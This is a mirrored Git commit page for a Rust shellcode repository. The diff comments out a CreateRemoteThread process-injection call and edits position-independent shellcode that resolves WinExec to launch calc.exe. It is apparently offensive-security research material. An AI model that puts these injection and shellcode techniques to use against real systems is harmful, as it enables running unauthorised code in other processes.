mirror of
https://github.com/0xflux/rust_shellcode
synced 2026-06-08 10:13:40 +00:00
stash
This commit is contained in:
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -72,15 +72,15 @@ fn main() {
|
||||
|
||||
|
||||
// ####################################################
|
||||
// CREATE REMOTE THREAD
|
||||
// INJECT VIA CREATE REMOTE THREAD
|
||||
|
||||
let result_createremotethread = CreateRemoteThread(h_process,
|
||||
None, 0, transmute(remotememory_ptr), None, 0, None);
|
||||
// let result_createremotethread = CreateRemoteThread(h_process,
|
||||
// None, 0, transmute(remotememory_ptr), None, 0, None);
|
||||
|
||||
match result_createremotethread {
|
||||
Ok(_) => println!("[+] Thread created"),
|
||||
Err(e) => eprintln!("[-] Error creating thread {e}"),
|
||||
}
|
||||
// match result_createremotethread {
|
||||
// Ok(_) => println!("[+] Thread created"),
|
||||
// Err(e) => eprintln!("[-] Error creating thread {e}"),
|
||||
// }
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+1
-11
@@ -15,7 +15,7 @@ fn panic(_info: &PanicInfo) -> ! {
|
||||
pub type WinExec = extern "system" fn(lpCmdLine: LPCSTR, uCmdShow: u32) -> u32;
|
||||
|
||||
#[no_mangle]
|
||||
pub extern "system" fn main() -> ! {
|
||||
pub extern "system" fn main() {
|
||||
|
||||
unsafe {
|
||||
// clean argc and argv
|
||||
@@ -56,14 +56,4 @@ pub extern "system" fn main() -> ! {
|
||||
|
||||
let WinExec: WinExec = unsafe { transmute(win_exec_fn_addr) };
|
||||
WinExec("calc.exe\0" as *const _ as *const i8, 1);
|
||||
|
||||
// black_box(b, load_library_a_addr);
|
||||
|
||||
loop{}
|
||||
}
|
||||
|
||||
#[inline(never)]
|
||||
extern "system" fn black_box<T, C>(dummy: T, dummy_b: C) -> C {
|
||||
unsafe { core::ptr::read_volatile(&dummy) };
|
||||
unsafe { core::ptr::read_volatile(&dummy_b) }
|
||||
}
|
||||
Reference in New Issue
Block a user